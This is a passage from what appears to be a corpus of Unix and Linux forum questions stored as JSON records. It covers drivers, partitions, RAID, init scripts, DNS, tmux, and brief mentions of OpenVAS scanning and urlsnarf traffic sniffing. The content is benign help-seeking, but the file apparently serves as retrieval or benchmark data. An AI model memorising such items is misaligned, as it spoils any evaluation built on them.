root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# ethtool eth0 Settings for eth0: Supported ports: [ TP ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Supports auto-negotiation: Yes Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Advertised pause frame use: Symmetric Advertised auto-negotiation: Yes Link partner advertised link modes: Not reported Link partner advertised pause frame use: No Link partner advertised auto-negotiation: No Speed: Unknown! Duplex: Unknown! (255) Port: Twisted Pair PHYAD: 1 Transceiver: internal Auto-negotiation: on MDI-X: Unknown Supports Wake-on: g Wake-on: g Current message level: 0x000000ff (255) Link detected: no root@bt:/lib64/modules/3.2.6/kernel/drivers/net/ethernet/broadcom# cd root@bt:~# ethtool eth0 Settings for eth0: Supported ports: [ TP ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Supports auto-negotiation: Yes Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full 1000baseT/Half 1000baseT/Full Advertised pause frame use: Symmetric Advertised auto-negotiation: Yes Link partner advertised link modes: Not reported Link partner advertised pause frame use: No Link partner advertised auto-negotiation: No Speed: Unknown! Duplex: Unknown! (255) Port: Twisted Pair PHYAD: 1 Transceiver: internal Auto-negotiation: on MDI-X: Unknown Supports Wake-on: g Wake-on: g Current message level: 0x000000ff (255) Link detected: no root@bt:~# iwconfig lo no wireless extensions. eth0 no wireless extensions. root@bt:~# root@bt:~# iwconfig ppp0 no wireless extensions. lo no wireless extensions. eth0 no wireless extensions. root@bt:~# ifconfig eth0 Link encap:Ethernet HWaddr b8:88:e3:0a:0f:67 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Interrupt:16 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:55 errors:0 dropped:0 overruns:0 frame:0 TX packets:55 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:9829 (9.8 KB) TX bytes:9829 (9.8 KB) ppp0 Link encap:Point-to-Point Protocol inet addr:101.218.175.244 P-t-P:10.64.64.64 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:3531 errors:0 dropped:0 overruns:0 frame:0 TX packets:3855 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:3 RX bytes:3296893 (3.2 MB) TX bytes:390972 (390.9 KB) root@bt:~# lspci 00:00.0 Host bridge: Intel Corporation 2nd Generation Core Processor Family DRAM Controller (rev 09) 00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09) 00:14.0 USB Controller: Intel Corporation Panther Point USB xHCI Host Controller (rev 04) 00:16.0 Communication controller: Intel Corporation Panther Point MEI Controller #1 (rev 04) 00:1a.0 USB Controller: Intel Corporation Panther Point USB Enhanced Host Controller #2 (rev 04) 00:1b.0 Audio device: Intel Corporation Panther Point High Definition Audio Controller (rev 04) 00:1c.0 PCI bridge: Intel Corporation Panther Point PCI Express Root Port 1 (rev c4) 00:1c.1 PCI bridge: Intel Corporation Panther Point PCI Express Root Port 2 (rev c4) 00:1d.0 USB Controller: Intel Corporation Panther Point USB Enhanced Host Controller #1 (rev 04) 00:1f.0 ISA bridge: Intel Corporation Panther Point LPC Controller (rev 04) 00:1f.2 SATA controller: Intel Corporation Panther Point 6 port SATA AHCI Controller (rev 04) 00:1f.3 SMBus: Intel Corporation Panther Point SMBus Controller (rev 04) 02:00.0 Ethernet controller: Broadcom Corporation NetLink BCM57785 Gigabit Ethernet PCIe (rev 10) 02:00.1 SD Host controller: Broadcom Corporation NetXtreme BCM57765 Memory Card Reader (rev 10) 02:00.2 System peripheral: Broadcom Corporation Device 16be (rev 10) 02:00.3 System peripheral: Broadcom Corporation Device 16bf (rev 10) 03:00.0 Network controller: Broadcom Corporation BCM43228 802.11a/b/g/n root@bt:~# airmon-ng Interface Chipset Driver root@bt:~# cd /lib64/modules/3.2.6/kernel/drivers/net root@bt:/lib64/modules/3.2.6/kernel/drivers/net# insmod tg3.ko insmod: error inserting 'tg3.ko': -1 File exists root@bt:/lib64/modules/3.2.6/kernel/drivers/net# modprobe tg3 root@bt:/lib64/modules/3.2.6/kernel/drivers/net# root@bt:/lib64/modules/3.2.6/kernel/drivers/net# lsmod | grep tg3.ko root@bt:/lib64/modules/3.2.6/kernel/drivers/net# lsmod | grep tg3 tg3 147905 0 root@bt:/lib64/modules/3.2.6/kernel/drivers/net# sudo modprobe wl FATAL: Module wl not found. root@bt:/lib64/modules/3.2.6/kernel/drivers/net# sudo modprobe wl FATAL: Module wl not found. root@bt:/lib64/modules/3.2.6/kernel/drivers/net# sudo modprobe tg3 root@bt:/lib64/modules/3.2.6/kernel/drivers/net#"} {"_id": "44130", "title": "Is it safe to resize partition on /?", "text": "I currently have a 600gb disk, with Ubuntu installed, 600gb of which is given to the Ubuntu OS: Filesystem Size Used Avail Use% Mounted on /dev/sda1 592G 16G 547G 3% / udev 1.9G 4.0K 1.9G 1% /dev tmpfs 777M 944K 776M 1% /run none 5.0M 0 5.0M 0% /run/lock none 1.9G 3.8M 1.9G 1% /run/shm Is it safe to unmount /dev/sda1 to shrink it to say, 300gb will I simply be able to remount it afterwards, or is it going to break everything and just die? Using Gparted? If not then, how does it work in Windows Disk Manager, there I am able to resize mounted disks?"} {"_id": "72099", "title": "Migrate an entire volume group LVM2 to RAID5", "text": "I have a Virtual Host server build with Ubuntu and Xen ## SO * Ubuntu 12.04.1 LTS 64Bits * xen-hypervisor-4.1 ## Disk * Hitachi SAS 15K 147GB (x2) in a Volume group * sda1 1GB /boot * sda2 146GB lvm * sdb1 147GB lvm Every virtual machine has minimum two LV (root, swap) I have available three new disks Hitachi SAS 15K 600GB I want to create a RAID5 with this disk and migrate all partitions from the VG. Is this is possible and how? I know how to create a simple RAID with Simple RAID setup with mdadm but I want have the flexibility of the VG on my RAID. Is this is possible and how? My need is to have the flexibility of VG but RAID redundancy as you can guess I'm rookie in RAID topic."} {"_id": "125973", "title": "What does this dd command do exactly?", "text": "I have the an embedded device with this SD card: [root@(none) ~]# busybox fdisk -l Disk /dev/mmcblk0: 3965 MB, 3965190144 bytes 4 heads, 16 sectors/track, 121008 cylinders Units = cylinders of 64 * 512 = 32768 bytes Device Boot Start End Blocks Id System /dev/mmcblk0p1 305 8497 262144+ 83 Linux /dev/mmcblk0p2 8497 16689 262144+ 83 Linux /dev/mmcblk0p3 16689 60352 1397247 b Win95 FAT32 and these partitions: [root@(none) ~]# df Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 253871 140291 113580 55% / none 16384 4 16380 0% /tmp none 127016 4 127012 0% /dev none 16 4 12 25% /var/lib none 16 0 16 0% /var/log none 128 16 112 13% /var/run /dev/mmcblk0p3 1394520 118036 1276484 8% /mnt/onboard I have an u-boot kernel image file, uImage, of ~2 Mb. What happens exactly if I do dd if=uImage of=/dev/mmcblk0 bs=512 seek=2048 ? Why am I asking this? This command is strange for me because: 1. ~~the copied image is smalled than target partition~~ 2. ~~it seems that the image is extracted on /dev/mmcblk0p1, that is the root partition. It starts at 305, while dd skips 2048 blocks~~ EDIT: see Anthon's answer 3. there's not a boot partition 4. uImage is extracted; on the contrary I expected it will be used by u-boot as-is Background: the device is a Kobo Glo, and the command is executed by update scripts to update the kernel."} {"_id": "1608", "title": "Does the Linux PreemptRT patch benefit desktop users?", "text": "Does the PREEMPT_RT patch (real-time kernel) have any benefit for regular desktop users?"} {"_id": "84252", "title": "How to start a service automatically, when Ubuntu starts?", "text": "I am using Ubuntu 12.04 and want to have a service starting, when the system is booted normally. As 'service' I understand some code, for example cd my_directory; my_command -host 0.0.0.0 -port 1234 -arg x that just should be running as if it has been started on the command line. There are services to be started as normal user, but also services to be started as root (in fact, it is not required the services to be run on user level). I also require to configure the behavior when a 'service' stops. I want them to be restarted in my case, with the same argument, in a specified directory. All of the services should be started automatically when the system is started normally, i.e. if the power switch is pressed. No other action should be required. There are some documents spread on the internet, but they all confuse me. They talk about `init`, `init.d`, `rc.d`, but I never saw a simple-to-follow step- by-step instruction to easily as a service using e.g. upstart. If this is easy, I would appreciate if those steps are given here."} {"_id": "84254", "title": "Running Open Vas via KALI Linux", "text": "We would like to run open-vas penentration test on a remote server and would no like to install it on the remote machine. Thus we have setup a Kali Linux Live machine for this purpose. So we first went into open-vas setup and towards the end we capture as below. sent 1953267 bytes received 3317820 bytes 71715.47 bytes/sec total size is 159182950 speedup is 30.20 [i] Checking dir: ok [i] Checking MD5 checksum: ok Stopping OpenVAS Manager: openvasmd. Stopping OpenVAS Scanner: openvassd. All plugins loaded Starting OpenVAS Scanner: openvassd. Starting OpenVAS Manager: openvasmd. Restarting OpenVAS Administrator: openvasad. Restarting Greenbone Security Assistant: gsad. Enter password: ad main:MESSAGE:30553:2002-01-01 00h34.24 UTC: No rules file provided, the new user will have no restrictions. ad main:MESSAGE:30553:2002-01-01 00h34.24 UTC: User admin has been successfully created. Next went to setup openvas-gsd I try to login but then I read at the site it says this \"Note: that the scan engine must have OMP support enabled for the given port for a successful connection? What should I do here?"} {"_id": "84255", "title": "Is it possible to create a \"file\" that can be used by any process without actually saving the file on disk?", "text": "Suppose I do a `grep` that gives me a lot of results. I want to use the output of grep and pass it to a command that takes a filename as it's first argument. For example - myCommand filename.txt I would like to do something like this - grep \"xyz\" | myCommand However, since myCommand doesn't read from stdin, this piping does not work. I don't want to create a temporary file on disk with the results of grep. Is it possible by any other means to create a \"file\", say in memory and let `myCommand` use that?"} {"_id": "84256", "title": "File uploads successfully however it is 0 bytes", "text": "I have an interesting problem where I have the ability to upload files, change permissions, download files using FTP on Cent OS. However, the interesting and annoying part is that the files are completely blank (0 bytes) when they get uploaded. What might be the trouble here? Here is the log from the client (FileZilla): Status: Starting upload of C:\\gettweetmodel_dev.php Status: Retrieving directory listing... Command: TYPE I Response: 200 Switching to Binary mode. Command: PASV Response: 227 Entering Passive Mode. Command: LIST -a Response: 150 Here comes the directory listing. Response: 226 Directory send OK. Command: TYPE A Response: 200 Switching to ASCII mode. Command: PASV Response: 227 Entering Passive Mode Command: STOR gettweetmodel_dev.php Response: 150 Ok to send data. Response: 451 Failure writing to local file."} {"_id": "84258", "title": "why do I have two different results if I run a program through terminal(as root) or /etc/init.d(or /etc/rc.local)", "text": "**Background:** I use Debian Lenny on an embedded device uname -a Linux device 3.4.0 #83 Sun May 26 17:07:14 CEST 2013 armv4l GNU/Linux I have a C code (say `my_C_program`) that calls a board specific binary file (via `system(\"spictl someparameters\")` ) called `spictl` to use SPI interface user:~# ls -al /usr/local/bin/spictl lrwxrwxrwx 1 root staff 24 Jun 9 2011 spiflashctl -> /initrd/sbin/spiflashctl if I run my code (`my_C_program`) from the command line user:~# /user/sbin/my_C_program the `spictl` is executed without problem and outputs data from the SPI interface. **Problem:** I need the program to be run when the board is powered. Therefore, I add `/user/sbin/my_C_program` line before the `exit 0` at`/etc/rc.local`. When the board is powered, the my_C_program is executed and `spictl` is executed but the SPI interface does not output any data. I tried to run the program via `/etc/init.d/` script on this link. The script works fine and it executes the `my_C_program`, the program executes the `spictl` successfully (as `system()` return value says), but the SPI interface does not output any data! ls -l /usr/sbin/my_C_program -rwxrwxrwx 1 root root 61713 Jun 28 2013 /usr/sbin/my_C_program `top` shows that the program is run as root PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1095 root 20 0 2524 1140 924 R 4.2 1.8 0:00.35 top 1033 root RT 0 35092 34m 1852 S 3.0 56.5 0:14.06 node **Question** if I execute the `my_C_program` on terminal, the program calls the `spictl` (via `system(spictl someparameters)`) and it is executed without any problem. But if I run `my_C_program` through `/etc/rc.local` or `/etc/init.d` script, then `spictl` does not work as it supposed to be. I suspect that it has something to do with the root privilege. When I execute the program on the terminal (as root) all works fine. But I guess `/etc/rc.local` and `/etc/init.d` somehow runs the program with a lower privilege. I could not really solve the difference between executing a command from the terminal as root or executing the program via `/etc/rc.local` or `/etc/init.d/` script. If you also think that it is a privilege problem, could you please explain how can I ensure that init.d script or rc.local would run the program with the highest privilege. Or what could be the issue? Please note that the problem/question is not SPI related. P.S. in order not to have unnecessary conversation like \"oh Debian lenny is too old, you should use wheezy etc.\", the board has armv4l processor and as the producer says it does not support wheezy because of some processor instructions."} {"_id": "1605", "title": "Benefit of kernel module compiled inside kernel?", "text": "What's the benefit of compiling kernel modules into the kernel (instead of as loadable modules)?"} {"_id": "1604", "title": "Kernel memory allocator patch", "text": "Is there any patch for Linux kernel to use different memory allocators, such as ned allocator or TLSF allocator?"} {"_id": "1606", "title": "dash compatibility to bash", "text": "Wikipedia says that `dash` executes faster than `bash`. My question is, if I set `/bin/sh` to `dash`, will all scripts that use `/bin/sh` in their shebang line that was intended for `bash` work under `dash`?"} {"_id": "138409", "title": "Bash Script : Passing a variable to a bash script that contains quotes, single quotes. etc", "text": "lets assume this is the string: 'a',\"b\" it contains both single and double quotes. how would you pass this to a bash script as a single string ? this is the bash script: #!/bin/bash echo $1 it must echo 'a',\"b\" but we can not assume the string is this tiny. ultimately i plan on sending the whole /etc/httpd/conf/httpd.conf as a string to this bash script. so i can not really escape quotes and single quotes one at a time."} {"_id": "134788", "title": "How can I search filenames which are starting with xy_* and are created/edited today?", "text": "Hello I\u00b4m currently trying to search for logfiles which are starting with xy_Number and are created/edited today(not last 24 hrs). I tried: find /home/USER/logfilesError/ -maxdepth 1 -type f -daystart -mtime -1 print0 | xargs -0 grep - l xy_* Output: find: paths must precede expression: print0 I need to combine: find -maxdepth 1 -type f -daystart -mtime -1 and ls | grep -E \"xy_\" What I want to achieve is: Search logfiles from a specific location which today's date and then go a step further and search those files and output the ones which have lines starting with ERROR. (other lines INFO and DEBUG) * * * So the search works fine and I want to go further with checking the files after the search with a grep to find the files containing ERROR grep -rl \"ERROR\" /home/USER/logfilesError/ How do I combine those in a script? With If? Can someone help me with this?"} {"_id": "134787", "title": "How to set the tab name to an alias hostname of the remote host I'm connected to?", "text": "As you might know, by default, the hostname of an AWS instance is something like `ip-12-34-56-78.us-west-2.compute.internal`, so when I ssh to this host, the tab name is changed to `root@ip-12-34-56-78` (a bit of difficult for me to identify which is which). Since I have the following in the `~/.ssh/config`: Host mail.domain.com Hostname 1.2.3.4 User root Host web.domain.com Hostname 5.6.7.8 User root I'm wondering that is there any way to change the tab name to the \"alias\" hostname of the remote host I'm connected to (instead of the \"real\" hostname): ![iTerm tab title when ssh](http://i.stack.imgur.com/DfWwp.png) * * * My current `PS1` settings: PS1='[\\u@\\h \\W$(__git_ps1 \" (%s)\")]\\$ ' I have tried to add a ssh wrapper into `~/.bashrc`: ssh() { echo -ne \"\\033]0;${@: -1}\\007\" exec ssh $@ } then `. ~/.bashrc` and test by running `ssh web.domain.com`: * while **connecting** : the tab name is changed to `web.domain.com`, as expected * when **connected** : it is overwritten with `root@ip-5-6-7-8` Why? Is there something related to `PS1` here? * * * **UPDATE Fri Jun 6 21:58:04 ICT 2014** There is something quite strange going on: looks like this only happened with AWS instance. With other hosts, the tab name remain after logging in. `PS1` on the AWS instance: # echo $PS1 [\\u@\\h \\W]\\$ `PS1` on the other hosts: ~ echo $PS1 \\[\\]\\[\\][\\[\\]\\t\\[\\]] \\u\\[\\]@\\[\\]\\h\\[\\]\\[\\]:\\[\\]\\w\\[\\] \\[\\] I also have tried to set the `PS1` variable on the AWS to the value of working host but it didn't help."} {"_id": "134783", "title": "My Red Hat 6.4 goes once more in sleep after wake up", "text": "When I wake up my Red Hat 6.4 desktop it goes into sleep mode once again and when I restart my machine it never restarts again, after a shutdown just the LED lights are on so in this case I have to down the power and once again have to restart my PC. And one more when I shutdown or restart network configuration from `/etc/resolv.conf` clean out and I have to make entry in this file after every shutdown."} {"_id": "71175", "title": "Copy file permissions from user to group", "text": "I have a folder with some files, which each have different permissions. Some are read-only, some are read/write, some are read/execute. How can I copy the permissions from user to group, so that for example a file marked read-write for user will be set to read-write for group, but a file read-executable for a user will be set read-executable for the group. Can this be done with a single command?"} {"_id": "71174", "title": "Address types used in Linux", "text": "I am trying to understand the Memory address types used by the Linux kernel, which are * User virtual address * Physical address * Bus address * Kernel logical address * Kernel virtual address I understood the following: **User virtual address:** User sees an address, which might not be in RAM, it might be a swap address. **Physical address:** Every memory address, in some form, has to represent the physical address. Physical address is in direct form. Similarly: Kernel Logical address and Kernel virtual address. I cant understand the Bus address and its requirement. If its quite naive to explain, materials to refer can be useful."} {"_id": "153436", "title": "How to find duplicate files with identical content and identical or different names", "text": "I have several directories containing a few hundred files in each. Each directory contains files that are duplicated (i.e. have the same content) within the same directory, and/or are duplicated in one or more other directories, and the duplicates may or may not have the same names. For example, `dir_A/file_6` might be identical to `dir_A/file_85` as might `dir_B/file_6` and `dir_B/file_30`. How could I determine which files are duplicates, so that I can delete all the duplicates and be left with only one of each file? Is using a checksum the only method? How could I automate this? I'm using a Linux desktop."} {"_id": "71171", "title": "How to remove files which do not end with \".c\"?", "text": "I have a directory which contains all the C programs. I have also compiled them at the creation time so as to check my code. There are a lot of programs nearly 100 of them. So I want a BASH script that would check whether the file ends with \".c\". If it does then it does not do anything, which if it doesn't then it would remove them. Suppose one of my file name is \"Hello.c\" then I have named its binary during compile time as \"Hello\". So can anyone make this script for me?"} {"_id": "40302", "title": "CentOS 5.6 live time feature without repeatedly executing date command", "text": "I am using CentOS 5.6, is there a way to view a \"live\" time, without constantly executing the `date` command? Constantly excuting the `date` command can be quite frustrating and repetitive when checking the time for running cron jobs."} {"_id": "40304", "title": "fprintd-enroll works with right-index finger only", "text": "When I try any other finger with: %> fprintd-enroll left-index-finger Using device /net/reactivated/Fprint/Device/0 failed to claim device: Not Authorized: net.reactivated.fprint.device.setusername It doesn't work for me; But if I don't specify finger (which uses right-index by default): %> fprintd-enroll Using device /net/reactivated/Fprint/Device/0 Enrolling right index finger. It works Running on Arch Linux , and packages installed from aur: fprintd 0.4.1-4 libfprint 0.4.0-3 **UPDATE** %> fprintd-enroll -f left-index-finger Using device /net/reactivated/Fprint/Device/0 Enrolling right index finger."} {"_id": "40305", "title": "Taking complete backup of System and then restoring?", "text": "I am using kubuntu 10.04 and now I want to install Mac on my PC. I have my data scattered in over 200 Gb and I want take a backup such that with one command all my data is saved into a single file. Then if my MAC installation fails then just format my hard drive and restore the system in its original form. I know about \"dd\" but I am skeptic about it . Is it possible?"} {"_id": "5477", "title": "Why do all my DNS queries resolve to 192.168.1.251?", "text": "All my queries on one machine on my network have suddenly started to resolve to 192.168.1.251. This machine was used as the DNS server by other machines, so I noticed it as soon as it started happening and have switched all other machines to use 8.8.8.8 directly, which works. The machines are all on a 192.168.0.x IP. It does run dnsmasq, which I've restarted to no effect and so stopped, again, no difference. /etc/resolv.conf did have entries for 127.0.0.1 and the router's IP, I've changed it to just contain one for 8.8.8.8 and there's nothing in /etc/hosts for a 192.168.1.251 IP. Any ideas would be appreciated! $ dig google.co.uk @8.8.8.8 ; <<>> DiG 9.7.0-P1 <<>> google.co.uk @8.8.8.8 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49227 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;google.co.uk. IN A ;; ANSWER SECTION: google.co.uk. 0 IN A 192.168.1.251 ;; Query time: 0 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Thu Jan 6 20:22:03 2011 ;; MSG SIZE rcvd: 46 $ uname -a Linux america 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux Edit: This seemed to start working without any sign of any changes having effected the behaviour. I'm still none the wiser, but including the files below for completeness (and in case it comes back!) $ cat /etc/hosts 127.0.0.1 localhost 127.0.0.1 america 192.168.0.1 england 192.168.0.2 america 192.168.0.3 germany 192.168.0.4 france 192.168.0.5 sweden # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters ff02::3 ip6-allhosts $ cat /etc/resolv.conf # Generated by NetworkManager #nameserver 127.0.0.1 nameserver 8.8.8.8 #nameserver 4.2.2.2 $ cat /etc/nsswitch.conf # /etc/nsswitch.conf # # Example configuration of GNU Name Service Switch functionality. # If you have the `glibc-doc-reference' and `info' packages installed, try: # `info libc \"Name Service Switch\"' for information about this file. passwd: compat group: compat shadow: compat hosts: files mdns4_minimal [NOTFOUND=return] dns mdns4 networks: files protocols: db files services: db files ethers: db files rpc: db files netgroup: nis $ sudo iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination"} {"_id": "5470", "title": "Graphical boot-up screen lost after upgrading the kernel", "text": "I used the Ubuntu 10.10 alternate install CD to install Maverick to an encrypted partition on a USB stick. This worked perfectly, but after the first cycle of updates that took the kernel from 2.6.35-22 to 2.6.35-24 I no longer get the graphical boot screen that asks for my passphrase. Instead I get a similar looking one that uses ASCII art. If I select the older 22 kernel from the bootloader, I still get the nice graphical screen. What do I need to do to get the nicer boot-up interface with the newer 24 kernel? Thanks, PaulH"} {"_id": "5471", "title": "FTP client with a good GUI?", "text": "I love linux because I get control over my system. But I do herald from the school of mac, where things are simple, beautiful, and powerful. I like it that way, as opposed to having lots of knobs and levers and everything. **Does anyone know of a strong FTP client for linux that is in the vein of Panic's Transmit?** It's my choice FTP software in Mac OS, but I doubt I need to convince anyone here that I don't want to DEVELOP web apps in OS X. It's a pain, imo. Currently I use Filezilla. It works fine. But it's UI is a mess, imho."} {"_id": "14266", "title": "How do you make RPROMPT in zsh update itself on every enter?", "text": "My `RPROMPT` is set to display svn info using `vcs_info`. It reads `RPROMPT=${vcs_info_msg_0_}`. `vcs_info` is called using `precmd()`. However, RPROMPT doesn't update when I change directories. It works only if I invoke the prompt again (either by source ~/.zshrc or prompt ) and doesn't change upon chdir, unless I invoke the prompt again. Is there any way to change this behaviour?"} {"_id": "82660", "title": "Packaging MATLAB", "text": "I have decided to try and package MATLAB for Arch Linux. The MATLAB program consists of a core program and a number of add on toolboxes. I would like to create a different independent package for each \"toolbox\" (or potentially subsets of toolboxes). The heart of my Arch PKGBUILD is ./install -t -inputFile installer_input.txt -mode silent where `inputFile` is basically a list of toolboxes to be installed. If I install both `product.MATLAB` (the core MATLAB program) and `product.Signal_Processing_Toolbox` (a toolbox), everything works fine. If I only install `product.Signal_Processing_Toolbox` the installer gives me the error > Error: One or more of the following products are required to proceed with > the installation: > > MATLAB 8.1 (Not available) > > You must select a folder where at least one of these products is installed > or select these additional products for installation. where `MATLAB 8.1` corresponds to `product.MATLAB`. The installer is proprietary (although parts of it are open source), but I think it will be hard to hack the installer to not require `product.MATLAB`. I don't want a toolbox package to conflict with the core package. Is there a standard way of dealing with this or is it specific to MATLAB? Is it possible to remove the \"core\" package from the chroot environment after installing the toolbox?"} {"_id": "14260", "title": "Installed TigerVNC, can't connect?", "text": "I've just installed TigerVNC on my Fedora 15 machine from the package manager then in terminal (as root): chkconfig vncserver on service vncserver start None gave me errors, so I went back to the Windows 7 machine and fired up the viewer. But after a few seconds i get unable to connect to socket: connection timed out(10060) Does anyone know what to open up or fix on the Fedora machine to make this happen?"} {"_id": "13816", "title": "Find creator of resource in X", "text": "> **Possible Duplicate:** > What process created this X11 window? Recently I've been bugged by a mysterious invisible window in X on my Ubuntu machine. It takes the form of an always-top-most window with absolutely nothing showing; no window border, no content, no nothing. That means that entire area of the screen is now unusable with any pointer, since the window captures all events in it's context - I can't even click on the desktop in that area ! As you might have guess this is rather annoying, and I want to get rid of it permanently. However, running `xwininfo` on it gives the following: xwininfo: Window id: 0x1601b9f (has no name) [...] Map State: IsViewable Override Redirect State: yes Corners: +395+315 -383+315 -383-263 +395-263 -geometry 502x222+395+315 So, I've got an ID, but no name. This fortunately means I can kill it with `xkill`, but unfortunately means I have no idea what created it. So what I'm looking for is some advice or help finding a way to identify the root and cause of this window. Any suggestions ?"} {"_id": "46621", "title": "What process created this window with no PID associated?", "text": "> **Possible Duplicate:** > What process created this X11 window? I need to kill a process that spawned a window which seems to have no PID associated with it. At least that is what xdotool says: ~$ xdotool getwindowpid 79691780 window 79691780 has no pid associated with it. `wmctrl -lp` prints `0x04c00004 0 0 N/A Window name` `xprop _NET_WM_PID` says `_NET_WM_PID: not found.` The solutions in What process created this X11 window? don't work. I'm out of ideas, is there really now way of telling which process owns this window?"} {"_id": "14263", "title": "find out the culprit process", "text": "This is rather a basic linux administration question. We have a CentOS linux machine running a production application. There are 10 application specific processes running on that machine. `Once in every 3/4 days, the linux machine freezes` and the only way to get it back is to hard reboot it from Amazon AWS console. We have Amazon Cloudwatch enabled which captures the CPU usage every 5 minutes. We see that the CPU reaches 100% (8 cores) within in 10-15 seconds just before it freezes. And unfortunately we could not figure out anything from the process log files. How do we really pin point `which process out of those 10 processes is causing the linux server to freeze?` Are there any simple CPU/memory monitoring applications that can record the top cpu/memory hoggers to disk, say every 2 seconds? Appreciate any other ideas to figure out the culprit process."} {"_id": "45887", "title": "Send a command from the console to a running X server", "text": "Is it possible to send a command from the console, say `tty1`, to the terminal currently occupied with X (in my case `tty7` as I use Debian), to tell for example `mplayer` to play a movie? **Edit** - made a shorthand function with the commands I learned in the answer below: function movie () { ORIG_TTY=`fgconsole` chvt 7 DISPLAY=\":0\" mplayer -fs $1 > /dev/null 2> /dev/null chvt $ORIG_TTY }"} {"_id": "122128", "title": "Creating a complete Wine headless setup", "text": "I've have a headless server with `X11 Forwarding` but a lot of Wine applications fail to start with the following error: Application tried to create a window, but no driver could be loaded. It has to be said that every other X application (such as `Firefox`, `xclock` and so on) work beautifully. So I was asking myself if there was another way to accomplish a full Wine installation on a headless server other than setting up a VM (which **I DO NOT NEED** ). Thank you very much!"} {"_id": "45885", "title": "How to install KDE on Debian 6?", "text": "I have GNOME 2.30.2 that came with my default Debian installation. I have the following Debian installation: Distributor ID: Debian Description: Debian GNU/Linux 6.0.5 (squeeze) Release: 6.0.5 Codename: squeeze I want to install some other desktop environment. What is the procedure for installing KDE or Xfce on Debian 6?"} {"_id": "94818", "title": "How to find and count how many files contain a certain word?", "text": "I am supposed to find and display the count of the number of files that contain the word carrot (case ignored) So far this is what I have, I am just not sure how to add the wc into it to count how many files there are that have the word carrot > find . -exec grep -i carrot {} \\;"} {"_id": "122122", "title": "Installing a .tgz....how?", "text": "Admitted: My search in this regard was not so successful there were different approaches. I want to install it in a Debiandistro. I am a beginner!! Thanks for your suggestions."} {"_id": "94816", "title": "SSH to a machine that is getting it's network connection from an Android device(Google TV)", "text": "I have a Linux(Ubuntu) machine for my HTPC. It's running XBMC and I control it via my IR remote control. I don't have a (wired) keyboard to control it. It has Wifi adaptor but it's not installed. I also have a Sony Google TV (model NSZ-GT1) which runs Android 3.0 and have Wifi and an ethernet port. Luckily I was able to connect a wire from Google TV to XBMC machine and get internet connection. My wireless modem is far away and I don't have a long cable to connect XBMC machine directly to it. With all weird setup I have, now I want to SSH to the XBMC to try to install Wifi adapter on it. XBMC show IP address and MAC address of machine. SSH-ing to IP times out. Can I use MAC address for SSH to bypass Google TV? Is there anything smart in software side that I can do to avoid a lot of physical work?"} {"_id": "94814", "title": "Arch Linux install doesn't boot", "text": "I've got Arch Linux mostly installed, and I seem to have installed GRUB with no problem. My partition table looks like this: cgdisk 0.8.7 Disk Drive: /dev/sda Size: 625142448, 298.1 GiB Part. # Size Partition Type Partition Name ------------------------------------------------------------------ 1007.0 KiB free space 1 15.0 GiB Linux filesystem root 2 1007.0 KiB BIOS boot partition bios 17.0 KiB free space 3 283.1 GiB Linux filesystem home After partitioning my drive like this, I ran: root@archiso ~ # arch-chroot /mnt /bin/zsh root@archiso [02:19:45] [/] -> # grub-install --target=i386-pc --recheck /dev/sda Installation finished. No error reported. However, when I boot, I get GRUB _ The underscore blinks, but I can't type anything. I still have access to the Arch installation by using the original install disk and `chroot`ing into it, but obviously I don't want to do this every time I start up my laptop. What could possibly be preventing me from booting properly? I've made sure my partitions conform to what the GRUB page says I need, but to no avail. For reference, I'm using the Arch Beginner's Guide and I've chronicled the epic story of how I spent my Saturday on my wiki."} {"_id": "45888", "title": "Run a command after acquiring IP address", "text": "I would like to run the command `Urlsnarf -n -i p33p1 >> file` when the p33p1 network interface gets its IP address. Initially I tried to run the command at bootup by adding the a crontab entry `@reboot command`. For some reason, `Urlsnarf` failed to start and I assume it is because the NIC is not ready yet. I am using Fedora Beefy Miracle."} {"_id": "94810", "title": "How do I drop to a shell after exiting a command I started by scripting tmux?", "text": "I'm following this tutorial for scripting the creation of tmux windows. tmux new-window t $SESSION:0 -k -n MAIN 'cd ~/main/ && perl -Ilib myapp' sometimes I kill myapp after I've started tmux, I want to drop back to a shell in that directory, but instead this kills the window entirely. What is the best way to fix this? I think at least one answer involves running a shell and having that shell run commands, but I'm not sure on the best way to accomplish that."} {"_id": "123835", "title": "HTOP nice level mismatch with the nice command?", "text": "I executed some commands with `nice -20` but in `htop` the NI appears in red and as 19, why is this?"} {"_id": "109466", "title": "Linux Source Routing with one gateway", "text": "I've a Linux box which have IP 10.1.1.100/24 on eth0 